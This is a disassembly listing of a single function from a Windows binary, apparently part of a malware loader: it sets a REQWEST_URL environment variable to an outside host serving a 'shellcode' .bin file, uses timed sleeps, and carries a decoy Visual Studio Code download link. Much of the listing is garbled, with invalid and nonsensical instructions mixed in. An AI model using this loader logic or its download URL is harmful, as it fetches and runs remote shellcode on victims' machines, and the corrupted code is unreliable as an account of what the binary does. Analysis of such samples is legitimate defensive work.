Function at 0x1400e4260
Capabilities:
Check os version
Get number of processors
Set environment variable

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4e8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x450], xmm6
mov qword [rbp + 0x448], 0xfffffffffffffffe
mov r12, r8
mov rsi, rdx
mov rdi, rcx
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x1400e42be
cmp eax, 1
je 0x1400e42eb
jmp 0x1400e67c6
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x1400e4110]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x126], 2
jne 0x1400e6ba2
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
mov byte [r15 + 0x126], 0
lea rcx, [rsi + 0x170]
lea rax, [rsi + 0x1d0]
test dil, 1
cmovne rcx, rax
call fcn.140105610
mov ebx, eax
mov r14d, edx
cmp dword [r15 + 0x118], 0
je 0x1400e4371
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov edx, dword [rax + 0x120]
mov eax, dword [rax + 0x11c]
jmp 0x1400e4376
call fcn.1400ff510
mov ecx, dword [0x14019f30c]
mov r8, qword gs:[0x58]
mov rcx, qword [r8 + rcx*8]
mov dword [rcx + 0x118], 1
mov dword [rcx + 0x11c], ebx
mov dword [rcx + 0x120], r14d
cmp qword [rcx + 0xd8], 0
jne 0x1400e6be3
mov ecx, dword [0x14019f30c]
mov r8, qword gs:[0x58]
mov rcx, qword [r8 + rcx*8]
mov qword [rcx + 0xd8], 0xffffffffffffffff
mov ecx, 1
mov r8d, 1
lock xadd qword [rsi], r8
test dil, 1
je 0x1400e43ec
test r8, r8
jns 0x1400e43f7
jmp 0x1400e6aba
test r8, r8
js 0x1400e6aba
xor ecx, ecx
mov r8d, dword [0x14019f30c]
mov r9, qword gs:[0x58]
mov r10, qword [r9 + r8*8]
mov r8, qword [r10 + 0xe0]
mov r9, qword [r10 + 0xe8]
mov qword [r10 + 0xe0], rcx
mov qword [r10 + 0xe8], rsi
inc qword [r10 + 0xd8]
mov rcx, qword [r10 + 0xf0]
cmp rcx, 0xffffffffffffffff
je 0x1400e6bef
inc rcx
mov r10d, dword [0x14019f30c]
mov r11, qword gs:[0x58]
mov r10, qword [r11 + r10*8]
mov qword [r10 + 0xf0], rcx
mov qword [rbp + 0x388], r8
mov qword [rbp + 0x390], r9
mov qword [rbp + 0x398], rcx
mov dword [rbp + 0x3a0], eax
mov dword [rbp + 0x3a4], edx
mov rax, qword [r12]
cmp dword [rax], 1
je 0x1400e6c30
mov qword [rbp + 0x50], rax
mov rdi, qword [r12 + 8]
mov qword [rbp + 0x58], r12
mov rsi, qword [r12 + 0x10]
lea r15, [rsi + 8]
lea rax, [rsi + 0x28]
mov qword [rbp + 0x3c0], rax
lea rax, [rsi + 0x118]
mov qword [rbp + 0x3d0], rax
xorps xmm6, xmm6
lea rbx, [rbp + 0x1f0]
lea r12, [rbp + 0x60]
lea r13, [rbp - 0x50]
mov qword [rbp + 0x48], rdi
xor eax, eax
xchg qword [rdi + 0x20], rax
test rax, rax
jne 0x1400e55e8
mov qword [rbp + 0x180], 2
mov rax, qword [rdi]
shr rax, 2
lea rdx, [rbp + 0x418]
movups xmmword [rdx - 0x18], xmm6
mov qword [rdx - 8], 0
mov qword [rbp + 0x3f0], rdi
mov qword [rbp + 0x3f8], rax
movups xmmword [rdx], xmm6
mov byte [rdx + 0x10], 0
mov eax, dword [rbp + 0x1e9]
mov ecx, dword [rbp + 0x1ec]
mov dword [rdx + 0x14], ecx
mov dword [rdx + 0x11], eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc8]
cmp rax, 1
jne 0x1400e55d5
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
lock inc qword [rax]
jle 0x1400e6aba
add rax, 0x10
lea rcx, fcn.1400fce60
or eax, 0x831f2
mov qword [rbp + 0x3b0], rcx
mov qword [rbp + 0x3b8], rax
lea rax, [rbp + 0x3b0]
mov qword [rbp + 0x1c8], rax
test eax, ecx
add dword [rax], eax
add byte [rax - 0x77], cl
test eax, edx
add dword [rax], eax
add byte [rax - 0x39], cl
test eax, ebx
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add bl, ch
invalid
mov al, 1
lock cmpxchg byte [rdi], cl
lea rbx, [rbp + 0x1f0]
jne 0x1400e499b
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx r14d, byte [rax + 0x128]
cmp r14d, 2
je 0x1400e4700
cmp r14d, 1
je 0x1400e46c1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x58], 0
jne 0x1400e6d97
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
or al, 0xc1
mov qword [rcx + 0x58], 0xffffffffffffffff
mov rax, qword [0x14012f690]
mov rdi, qword [rcx + 0x70]
add byte [rax], al
mov rax, 0xffffffffffffffff
cmp rdi, qword [rcx + 0x60]
jne 0x1400e466e
call fcn.1400ed6c0
mov eax, dword [0x14019f30c]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x58]
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rcx, qword [rdx + rcx*8]
mov rdx, qword [rcx + 0x68]
mov r8, rdi
shl r8, 4
lea r9, [rcx + 0xd8]
mov eax, ebx
add byte [rax], al
add byte [rsi - 0x77], cl
or al, 2
lea r9, [0x1400e4110]
mov qword [rdx + r8 + 8], r9
inc rdi
mov qword [rcx + 0x70], rdi
add byte [rax], al
add byte [rax - 1], cl
ror byte [rax - 0x77], 0x81
pop rax
add byte [rax], al
add dh, al
sub dword [rax], 0x1000001
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
movzx r14d, byte [rax + 0x124]
movzx ecx, byte [rax + 0x125]
mov byte [rbp + 0x3c8], cl
mov word [rax + 0x124], 0x8001
add byte [rax], al
invalid
sub bl, 0xc
mov rdx, qword [rbp + 0x1c8]
lea rcx, [rbp + 0x3f0]
lock add eax, dword [rax]
add al, ch
lodsd eax, dword [rsi]
invalid
add al, byte [rax]
test al, al
je 0x1400e4780
movzx eax, byte [rsi + 0x148]
test eax, eax
je 0x1400e47a0
cmp eax, 3
jne 0x1400e6a0b
test eax, esp
and al, byte [rax]
invalid
movzx eax, byte [rsi + 0x140]
test eax, eax
je 0x1400e49b7
cmp eax, 3
jne 0x1400e6aae
invalid
nop word cs:[rax + rax]
cmp dword [r15], 2
jne 0x1400e4a52
mov rax, qword [rsi + 0x10]
mov qword [rsi + 0x10], 0
test rax, rax
je 0x1400e6954
mov qword [rbp + 0x60], 3
mov qword [rbp + 0x68], rax
push 0x440e9
invalid
xor ebx, ebx
cmp r14b, 2
jne 0x1400e4a86
jmp 0x1400e4afe
lea rdi, [0x140163210]
mov qword [rbp + 0x1f0], rdi
mov qword [rbp + 0x1f8], 1
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], eax
add al, byte [rax]
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
adc dword [rbp + 0x208], esi
mov rcx, rbx
call fcn.1400f7560
mov qword [rbp + 0x1f0], 0
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rbp + 0x1f0]
lock add dword [rax], eax
add byte [rcx + rcx*4 - 0x40], cl
movabs rdx, 0x19db1ded53e8000
sub rax, rdx
neg rax
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rdx
cmovl rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x1400e6a17
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rcx, rdx
shr rcx, 0x2d
add rcx, rax
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], 0
mov qword [rbp - 0x50], r12
lea rax, [0x14000c350]
mov qword [rbp - 0x48], rax
lea rax, str.Time:
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], 2
mov qword [rbp + 0x210], 0
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x208], 1
mov rcx, rbx
call fcn.1400f7560
mov qword [rbp + 0x1f0], rdi
mov qword [rbp + 0x1f8], 1
mov qword [rbp + 0x200], 8
movups xmmword [rbp + 0x208], xmm6
mov rcx, rbx
call fcn.1400f7560
mov qword [rbp + 0x1f0], rdi
mov qword [rbp + 0x1f8], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], eax
add al, byte [rax]
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
adc dword [rbp + 0x208], esi
mov rcx, rbx
call fcn.1400f7560
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
test eax, eax
je 0x1400e498e
mov rdi, rax
mov qword [rbp + 0x1f0], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x1400e4985
invalid
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp ebx, 0xffffffff
dec dword [rax - 0x73]
popfq
lock add dword [rax], eax
add byte [rbp + 0x2d], dh
jmp 0x1400e498e
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
jg 0x1400e493f
add al, 0
jmp 0x1400e49b0
mov rcx, rdi
call fcn.140126720
jmp 0x1400e45c3
mov byte [rsi + 0x140], 0
mov rcx, rbx
call fcn.1400b1220
mov rcx, rbx
call fcn.1400b1650
test rax, rax
jne 0x1400e68f7
invalid
add byte [rax], al
mov qword [rsi], rdx
mov rcx, r12
lea r8, str.https:__code.visualstudio.com_download
call fcn.1400e2cb0
cmp dword [rbp + 0x60], 2
jne 0x1400e4a10
mov qword [rbp + 0x1f0], 2
mov rax, qword [rbp + 0x68]
mov rdi, qword [rbp + 0x170]
mov qword [rbp + 0x1f8], rax
lock dec qword [rdi]
je 0x1400e4a2b
jmp 0x1400e4a37
mov rdi, qword [rbp + 0x170]
mov rcx, rbx
mov rdx, rdi
mov r8, r12
call fcn.1400b3d40
sbb esi, ebx
cld
push rax
dec qword [rdi]
jne 0x1400e4a37
lea rcx, [rbp + 0x170]
call fcn.1400cbea0
mov r8d, 0x138
mov rcx, r15
mov rdx, rbx
call fcn.140121660
add eax, dword [rax]
cmp dword [r15], 2
je 0x1400e475a
mov rcx, r12
mov rdx, r15
lea r8, [rbp + 0x1c8]
call fcn.1400b5e40
std
dec dword [rax - 0x7d]
jge 0x1400e4ac8
add al, 0xf
test dword [rcx + 1], edx
add byte [rax], al
mov byte [rsi + 0x140], 3
mov al, 3
mov bl, 2
mov byte [rsi + 0x148], al
cmp r14b, 2
je 0x1400e4afe
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
mov dh, 0x80
sub byte [rcx], al
add byte [rax], al
cmp eax, 2
je 0x1400e4afe
cmp eax, 1
je 0x1400e4ad7
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xc1
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
sub byte [rcx], al
add byte [rax], al
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x124], r14b
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x8d
enter 3, 0
mov byte [rax + 0x125], cl
cmp bl, 2
jne 0x1400e5570
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc8]
cmp rax, 1
lea rbx, [rbp + 0x1f0]
lea ebx, [rbp + 0x1f0]
jne 0x1400e4f68
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov r14, qword [rax + 0xd0]
mov eax, 2
xor ecx, ecx
lock cmpxchg qword [r14 + 0x10], rcx
je 0x1400e45c3
invalid
lea rdi, [r14 + 0x20]
xor eax, eax
mov dl, 1
lock cmpxchg byte [r14 + 0x20], dl
jne 0x1400e4f7b
xor eax, eax
mov edx, 1
lock cmpxchg qword [r14 + 0x10], rdx
jne 0x1400e4fa0
lea rbx, [r14 + 0x18]
nop word [rax + rax]
mov rcx, rbx
mov rdx, rdi
mov r9d, 0x3b9aca00
call fcn.1400429b0
xor ecx, ecx
mov eax, 2
lock cmpxchg qword [r14 + 0x10], rcx
jne 0x1400e4b90
jmp 0x1400e45b0
mov r8d, 0x98
mov rcx, r13
mov rdx, r12
call fcn.140121660
cmp dword [r15], 2
jne 0x1400e4c50
mov rdi, qword [rsi + 0x10]
test rdi, rdi
je 0x1400e5026
mov r12, qword [rdi + 0x58]
test r12, r12
je 0x1400e4c23
mov rbx, qword [rdi + 0x60]
mov rax, qword [rbx]
test rax, rax
je 0x1400e4bfe
mov rcx, r12
call rax
cmp qword [rbx + 8], 0
je 0x1400e4c23
cmp qword [rbx + 0x10], 0x11
jb 0x1400e4c11
mov r12, qword [r12 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi]
lea r12, [rbp + 0x60]
neg rax
jo 0x1400e4c44
jae 0x1400e4c44
mov r8, qword [rdi + 8]
mov rcx, qword [0x14019f258]
or eax, 0xba61c
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [rbp + 0x1f0]
jmp 0x1400e5014
cmp byte [rsi + 0x100], 0xa
jb 0x1400e4c79
cmp qword [rsi + 0x110], 0
je 0x1400e4c79
mov r8, qword [rsi + 0x108]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi + 0x90], 0
je 0x1400e4c99
mov r8, qword [rsi + 0x98]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi + 0x80], 0
je 0x1400e4cb6
mov r8, qword [rsi + 0x78]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsi + 0x58]
test rbx, rbx
je 0x1400e4d10
mov rdi, qword [rsi + 0x50]
add rdi, 0x30
jmp 0x1400e4ceb
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x68
dec rbx
je 0x1400e4d10
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x1400e4cd0
lea rcx, [rdi + 0x28]
mov rdx, qword [rdi + 0x18]
mov r8, qword [rdi + 0x20]
call qword [rax + 0x10]
jmp 0x1400e4cd0
cmp qword [rsi + 0x48], 0
je 0x1400e4d2a
mov r8, qword [rsi + 0x50]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsi + 0x70]
test rbx, rbx
je 0x1400e4d5b
mov rdi, qword [rsi + 0x68]
add rdi, 0x38
nop dword [rax + rax]
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x48
dec rbx
jne 0x1400e4d40
cmp qword [rsi + 0x60], 0
je 0x1400e4d75
mov r8, qword [rsi + 0x68]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [r15], 0
je 0x1400e4d96
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x1400e4d96
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
mov rcx, qword [rbp + 0x3c0]
call qword [rax + 0x10]
mov rdi, qword [rsi + 0xf8]
test rdi, rdi
je 0x1400e4de0
mov rbx, qword [rsi + 0xf0]
add rbx, 8
jmp 0x1400e4db9
add rbx, 0x58
dec rdi
je 0x1400e4de0
cmp qword [rbx - 8], 0
je 0x1400e4db0
mov r8, qword [rbx]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400e4db0
cmp qword [rsi + 0xe8], 0
je 0x1400e4e00
mov r8, qword [rsi + 0xf0]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x3d0]
mov rax, qword [rax]
lock dec qword [rax]
jne 0x1400e4e1c
mov rcx, qword [rbp + 0x3d0]
call fcn.1400d8320
mov rdi, qword [rsi + 0x120]
mov rbx, qword [rsi + 0x128]
mov rax, qword [rbx]
test rax, rax
je 0x1400e4e37
mov rcx, rdi
call rax
cmp qword [rbx + 8], 0
je 0x1400e4e5b
cmp qword [rbx + 0x10], 0x11
jb 0x1400e4e49
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x138]
test rdi, rdi
lea rbx, [rbp + 0x1f0]
je 0x1400e5026
mov r13, qword [rdi + 8]
cmp byte [rdi], 0
mov eax, 0xb8
mov ecx, 0x118
cmovne rax, rcx
cmp dword [r13 + rax + 0xa8], 0x3b9aca00
je 0x1400e69f3
lea r12, [rdi + 8]
add r13, rax
lea rbx, [rdi + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13 + 0x58], cl
jne 0x1400e4fb5
mov rax, qword [rdi + 0x40]
cmp rax, 0xffffffffffffffff
je 0x1400e4eca
lea rcx, [r13 + 0x60]
mov rdx, rbx
call fcn.140106fd0
mov rax, qword [rdi + 0x40]
cmp rax, 0xffffffffffffffff
lea rbx, [rbp + 0x1f0]
je 0x1400e4f30
mov byte [rdi + 0x60], 0
mov qword [rdi + 0x40], 0xffffffffffffffff
mov rax, qword [rdi + 0x58]
nop dword [rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdi + 0x58], rcx
jne 0x1400e4ef0
test rax, rax
jne 0x1400e4f30
mov rax, qword [rdi + 0x48]
mov rcx, qword [rdi + 0x50]
mov qword [rdi + 0x48], 0
lock and qword [rdi + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x1400e4f30
call qword [rax + 0x18]
nop word cs:[rax + rax]
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r13 + 0x58], cl
jne 0x1400e4fd1
test byte [rdi], 1
je 0x1400e4fe6
mov rax, qword [r12]
lock dec qword [rax]
lea r13, [rbp - 0x50]
jne 0x1400e5000
mov rcx, r12
call fcn.1400d6a00
jmp 0x1400e5000
test rax, rax
jne 0x1400e6929
call fcn.14012ce50
jmp 0x1400e4b32
mov rcx, rdi
call fcn.1401262a0
xor ecx, ecx
xor eax, eax
mov edx, 1
add dword [rax], eax
add byte [rax], al
lock cmpxchg qword [r14 + 0x10], rdx
je 0x1400e4b86
nop dword [rax + rax]
cmp rax, 2
jne 0x1400e6a52
test al, 0x1a
add byte [rax], al
xor eax, eax
xchg qword [r14 + 0x10], rax
jmp 0x1400e45b0
lea rcx, [r13 + 0x58]
call fcn.1401262a0
mov rax, qword [rdi + 0x40]
cmp rax, 0xffffffffffffffff
jne 0x1400e4ebe
test edx, esi
invalid
invalid
invalid
jmp 0x1400e4eca
add r13, 0x58
mov rcx, r13
call fcn.140126720
test byte [rdi], 1
jne 0x1400e4f49
mov rax, qword [r12]
lock dec qword [rax]
lea r13, [rbp - 0x50]
jne 0x1400e5000
mov rcx, r12
call fcn.14002ded0
nop dword [rax]
mov rax, qword [rdi + 0x48]
test rax, rax
je case.0x1400dd9c6.3785
mov rcx, qword [rdi + 0x50]
call qword [rax + 0x18]
lea r12, [rbp + 0x60]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rbp - 0x50], 3
jne 0x1400e50e0
add byte [rax], al
lea rax, [0x140163210]
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], 1
mov qword [rbp + 0x70], 8
movups xmmword [rbp + 0x78], xmm6
adc dword [rbp + 0x78], esi
mov rcx, r12
call fcn.1400f7560
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
add byte [rdi], bl
add bh, bh
adc eax, 0x4a1c3
test rax, rax
je 0x1400e54cd
mov rdi, rax
mov qword [rbp + 0x60], 0xfffffffffe363c80
mov dword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, r12
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x1400e54c4
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
add al, 0
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp ebx, 0xffffffff
lea rbx, [rbp + 0x1f0]
jne 0x1400e54d8
jmp 0x1400e54cd
lea rax, [0x140163210]
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], 1
mov qword [rbp + 0x70], 8
movups xmmword [rbp + 0x78], xmm6
mov rcx, r12
call fcn.1400f7560
mov rcx, r13
call fcn.1400e1030
mov rax, qword [rsi]
lock dec qword [rax]
jne 0x1400e5120
mov rcx, rsi
call fcn.1400d8320
mov byte [rsi + 0x140], 1
lea rdx, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_shellcodeAny_20240812042929113.bin
lea edx, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_shellcodeAny_20240812042929113.bin
mov qword [rbp + 0x3d8], rdx
mov qword [rbp + 0x3e0], 0xb
lea rdi, [0x1401632ab]
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], 0x45
mov r8d, 0xb
mov rcx, rbx
call fcn.1400f2190
mov rax, qword [rbp + 0x1f0]
mov rcx, qword [rbp + 0x1f8]
mov qword [rbp + 0x440], rax
neg rax
jno 0x1400e5190
mov rdi, rcx
jmp 0x1400e5222
mov qword [rbp + 0x3e8], rcx
mov r8d, 0x45
mov rcx, rbx
mov rdx, rdi
call fcn.1400f2190
mov rbx, qword [rbp + 0x1f0]
mov r12, qword [rbp + 0x1f8]
mov rax, rbx
neg rax
jno 0x1400e51c3
mov rdi, r12
jmp 0x1400e51f7
mov rcx, qword [rbp + 0x3e8]
mov rdx, r12
call qword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
mov edi, 0
test eax, eax
je 0x1400e54e8
test rbx, rbx
je 0x1400e51f7
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x440], 0
lea r12, [rbp + 0x60]
lea rbx, [rbp + 0x1f0]
mov r8, qword [rbp + 0x3e8]
je 0x1400e5222
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test rdi, rdi
jne 0x1400e696c
mov r8d, 0xb
mov rcx, rbx
lea rdx, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_shellcodeAny_20240812042929113.bin
call fcn.1400f1b70
mov rdi, qword [rbp + 0x1f0]
mov rax, rdi
neg rax
jo 0x1400e49b0
mov rdx, qword [rbp + 0x1f8]
mov r8, qword [rbp + 0x200]
test byte [rbp + 0x208], 1
jne 0x1400e5300
test r8, r8
je 0x1400e5300
lea rax, [rdx + r8]
mov r10, rdx
jmp 0x1400e5298
add r10, 2
cmp rcx, rax
cmovne rcx, r10
nop dword [rax + rax]
mov r10, rcx
cmp rcx, rax
je 0x1400e5300
lea rcx, [r10 + 1]
movzx r9d, byte [r10]
test r9b, r9b
jns 0x1400e5290
cmp r9b, 0xe0
jb 0x1400e5280
cmp r9b, 0xed
jne 0x1400e52d3
cmp rcx, rax
je 0x1400e5300
lea rcx, [r10 + 2]
cmp rcx, rax
je 0x1400e5300
cmp byte [r10 + 1], 0x9f
ja 0x1400e5549
add r10, 3
mov rcx, r10
jmp 0x1400e5290
add r10, 2
cmp rcx, rax
cmove r10, rcx
sal dword [rcx], 1
leave
cmp r10, rax
setne cl
add rcx, r10
cmp r9b, 0xf0
jb 0x1400e5290
xor r9d, r9d
cmp rcx, rax
setne r9b
add rcx, r9
add ecx, ecx
jmp 0x1400e5290
mov rcx, r13
mov qword [rbp + 0x440], rdx
call fcn.140003800
xor eax, eax
cmp rax, qword [rbp - 0x50]
jno 0x1400e53ae
add byte [rax], al
invalid
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x1400e5516
fadd qword [rcx]
add byte [rax], al
mov r12, rax
mov qword [rbp + 0x1f0], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x1400e550d
mov rcx, r12
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov ebx, eax
ret
mov rcx, r12
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp ebx, 0xffffffff
lea rbx, [rbp + 0x1f0]
je 0x1400e5516
test rdi, rdi
lea r12, [rbp + 0x60]
lea esp, [rbp + 0x60]
jne 0x1400e552e
jmp 0x1400e49b0
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x70], rax
movups xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x60], xmm0
call fcn.140003d60
call fcn.140001850
mov r12, rax
and eax, 3
cmp eax, 1
jne 0x1400e542e
mov r13, qword [r12 - 1]
mov rbx, qword [r12 + 7]
invalid
mov rax, qword [rbx]
test rax, rax
je 0x1400e53ea
mov rcx, r13
call rax
cmp qword [rbx + 8], 0
je 0x1400e540e
cmp qword [rbx + 0x10], 0x11
jb 0x1400e53fc
mov r13, qword [r13 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
dec r12
mov rcx, qword [0x14019f258]
mov ecx, dword [0x14019f258]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
lea r13, [rbp - 0x50]
lea rbx, [rbp + 0x1f0]
mov rcx, rbx
call fcn.140001c30
cmp qword [rbp + 0x1f0], 0
je 0x1400e5452
mov rcx, qword [rbp + 0x1f8]
test rcx, rcx
test ecx, ecx
je 0x1400e5452
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400edc80
call fcn.140004cc0
lea rax, [0x140163210]
mov qword [rbp + 0x1f0], rax
add byte [rax - 0x39], cl
test eax, edi
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], eax
add al, byte [rax]
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
adc dword [rbp + 0x208], esi
mov rcx, rbx
call fcn.1400f7560
lea r12, [rbp + 0x60]
mov rcx, r12
call fcn.140001630
mov bl, 1
test rdi, rdi
je 0x1400e5506
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, qword [rbp + 0x440]
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x49f83
mov al, 1
jmp 0x1400e4a7a
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
mov rcx, r13
call fcn.1400e1030
mov rdx, qword [rsi]
jmp 0x1400e49d3
call qword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
shl rdi, 0x20
or rdi, 2
test rbx, rbx
jne 0x1400e51e5
jmp 0x1400e51f7
mov al, 1
jmp 0x1400e4a7a
mov rcx, r12
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
test rdi, rdi
lea r12, [rbp + 0x60]
je 0x1400e49b0
mov rcx, qword [0x14019f258]
xor edx, edx
